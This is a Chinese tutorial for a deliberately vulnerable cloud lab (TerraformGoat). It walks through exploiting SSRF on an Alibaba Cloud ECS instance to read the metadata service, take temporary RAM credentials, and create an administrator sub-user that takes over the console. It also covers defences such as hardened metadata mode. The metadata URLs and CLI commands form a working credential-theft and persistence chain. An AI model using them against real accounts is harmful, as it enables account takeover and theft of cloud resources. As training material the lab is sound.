從云服務器 SSRF 漏洞到接管你的阿里云控制臺
0x00 前言
本文將以阿里云為例,對云服務中的一些攻防手法進行演示,首先利用 Terraform 進行 ECS SSRF 漏洞環境的搭建,然后通過實例中存在的 SSRF 漏洞一步步拿下該云服務賬戶的所有的阿里云服務權限。
0x01 環境搭建
本文采用 TerraformGoat 進行靶場的搭建,Terraform 靶場地址:https://github.com/HuoCorp/TerraformGoat
在部署靶場時,需要用到你的阿里云 AccessKey,為了避免影響到你的云上生產環境,因此這里強烈建議使用非生產環境的 AccessKey,不要和生產環境使用同一個賬號。
接下來開始搭建靶場,首先克隆靶場項目到本地,并構建下載靶場所需的依賴。
git clone https://github.com/HuoCorp/TerraformGoat.git --depth 1 cd TerraformGoat docker build . -t terraformgoat:v0.0.3 docker run -itd --name terraformgoat terraformgoat:v0.0.3 docker exec -it terraformgoat /bin/bash
如果 github 訪問較慢,可以給終端掛上代理
proxy_url="127.0.0.1:1080" && export https_proxy=http://$proxy_url http_proxy=http://$proxy_url all_proxy=socks5://$proxy_url
在進入容器后,容器會提示選擇接下來要使用的云服務提供商,這里以阿里云服務為例,輸入 2 選擇阿里云后回車。

進入到阿里云 ECS SSRF 靶場路徑下,并配置你的 AccessKey
cd /TerraformGoat/aliyun/ecs/ecs_ssrf/ aliyun configure

部署 SSRF 靶場
terraform init terraform appl
如果 init 初始化比較慢,掛上代理即可
在 apply 期間,會提示 Enter a value,這時輸入 yes 回車即可。

在 Outputs 處,可以看到返回的靶場地址,訪問這個地址,可以看到 SSRF 測試靶場頁面,這時就說明環境搭建完了。

0x02 環境利用
當前環境存在 SSRF 漏洞,但和常規 SSRF 所處的環境不同,這里的 SSRF 漏洞是出現在云服務器上的,這也就意味著我們可以通過這個 SSRF 漏洞獲取到該服務器的元數據信息。
訪問元數據
http://100.100.100.200/latest/meta-data

在返回的結果中,可以看到當前環境存在 ram/ 目錄,這也就意味著當前云服務器配置了 RAM 角色,這樣我們可以獲取到臨時憑證了。
通過元數據獲取臨時憑證。
這里 URL 中的 huocorp-terraform-goat-role 是 RAM 角色名稱,可以通過訪問 http://100.100.100.200/latest/meta-data/ram/security-credentials/ 獲取到。
http://100.100.100.200/latest/meta-data/ram/security-credentials/huocorp-terraform-goat-role

將臨時憑證配置到 aliyun 命令行工具里。
aliyun configure --mode StsToken

創建子用戶,并賦予管理員權限
aliyun ram CreateUser --UserName teamssix aliyun ram CreateLoginProfile --UserName teamssix --Password TeamsSix@666 aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName teamssix

訪問 https://signin.aliyun.com 頁面,通過 RAM 用戶進行登錄,這里的用戶格式為 username@company-alias,其中 username 就是剛剛創建的用戶名,company-alias 可以通過下面的這個命令獲取到。
aliyun ram GetAccountAlias

這里的 AccountAlias 就是我們需要的 company-alias,接下來就可以登錄控制臺了。

輸入剛才創建用戶時的密碼

登錄后,就可以看到目標的控制臺了。

由于剛才在創建用戶時,賦予了 AdministratorAccess 權限,因此在 RAM 訪問控制處可以看到,當前賬號擁有管理所有阿里云資源的權限。

在云服務 ECS 實例中也可以看到我們剛才搭建的那臺 SSRF 靶場服務器。

至此,就實現了利用云服務器上的 SSRF 漏洞接管了阿里云控制臺。
另外這個環境里還放了一個 flag 文件,你如果感興趣的話,可以動手去嘗試找到這個 flag,Writeup 地址:https://github.com/HuoCorp/TerraformGoat/tree/main/aliyun/ecs/ecs_ssrf
0x03 防御措施
這個環境的問題除了存在 SSRF 外,還有另外兩個主要的問題:
- RAM 角色權限過大,導致可以通過該角色的權限進行創建子用戶以及給子用戶授予高權限等操作
- 元數據未做加固訪問,導致一旦目標存在 SSRF 漏洞,元數據就存在被獲取的風險
那么針對第一個 RAM 角色權限過大的問題,主要還是需要使用者嚴格遵守權限最小化的原則,在為 RAM 角色賦予權限時,避免賦予過高的權限,只賦予自己所需要的權限,這樣可以將影響程度降到最低,但是這并不能治本。
針對第二個元數據未做加固訪問的問題,可以將實例上的元數據訪問模式設置為加固模式,這是一種治本的方法,將元數據訪問模式設置為加固模式有以下兩種方法:
- 在創建實例時,可以在「系統配置」的「高級選項」中將「實例元數據訪問模式」設置為「僅加固模式」

- 在已經創建好的實例中,可以在阿里云 OpenAPI 中開啟元數據強制使用 Token 訪問,OpenAPI 地址: https://next.api.aliyun.com/api/Ecs/2014-05-26/ModifyInstanceMetadataOptions

將 HttpTokens 設置為 required 即表示強制使用加固模式,此時再訪問元數據就會提示 403 了。

值得一提的是,將元數據設置為加固模式可以防止通過 SSRF 獲取到元數據,但如果實例權限被拿下,那么紅隊還是可以通過在實例上執行獲取 token 的命令,然后利用該 token 獲取到元數據。
在 Linux 實例中獲取 token 的命令如下:
TOKEN=`curl -X PUT "http://100.100.100.200/latest/api/token" -H "X-aliyun-ecs-metadata-token-ttl-seconds: 21600"`
通過 token 獲取元數據
curl -H "X-aliyun-ecs-metadata-token: $TOKEN" http://100.100.100.200/latest/meta-data/

對于 Windows 實例下的獲取方法可以參考阿里云官方文檔: https://help.aliyun.com/document_detail/108460.htm
將元數據訪問模式設置為加固模式進而防御 SSRF 漏洞的這個方法由 2h0ng 師傅提供。
0x04 環境刪除
刪除創建的子賬號
aliyun ram DetachPolicyFromUser --PolicyType System --PolicyName AdministratorAccess --UserName teamssix aliyun ram DeleteUser --UserName teamssix
刪除 SSRF 靶場環境,在使用完靶場后,記得及時刪除,因為這里創建的云服務是按時間計費的,該靶場實例的價格為每小時 0.17 元人民幣。
在銷毀靶場之前,記得把 AccessKey 配置成最開始的 AccessKey,配置命令:aliyun configure --mode AK
terraform destroy
如果想清除 TerrformGoat,可以使用以下命令,如果以后還想進行云上攻防的學習,則可以將 TerraformGoat 環境保留下來。
docker stop terraformgoat docker rm terraformgoat docker rmi terraformgoat:v0.0.3
0x05 總結
這里通過云上 SSRF 漏洞獲取到了臨時密鑰,通過臨時秘鑰創建了一個具有管理員訪問權限的子用戶,最后通過這個子用戶接管了目標的控制臺。
但是這個方法在實戰中想要使用是有一些前提的,主要前提有以下兩個:
- ECS 實例需要被授予 RAM 角色,不然訪問臨時憑證的元數據會返回 404
- RAM 角色需要具備 ram 訪問控制的相關操作權限,例如創建用戶、賦予權限等,不然臨時秘鑰會沒有創建子用戶的權限。
在實戰中,如果遇到了 ECS 實例被授予了 RAM 角色的情況,大多時候該角色都是不具備創建用戶權限的,這時就沒法通過創建子賬號登錄控制臺的方式了,只能通過阿里云命令行工具去操作目標云服務了。
總的來說,云上攻防和常規的內網攻防還是十分不一樣的。
- 云上攻防的常見問題是配置錯誤,例如這里的問題就是 RAM 角色配置權限過高。
- 云上攻防的權限維持主要方法是創建 RAM 高權限用戶,而不是像傳統攻防里那樣有五花八門的權限維持方法。
- 云上攻防的內網橫向主要是在云服務廠商命令行或者控制臺中進行橫向,從這個云服務橫向到另一個云服務,而不是像傳統攻防那樣有各種各樣的內網橫向手法。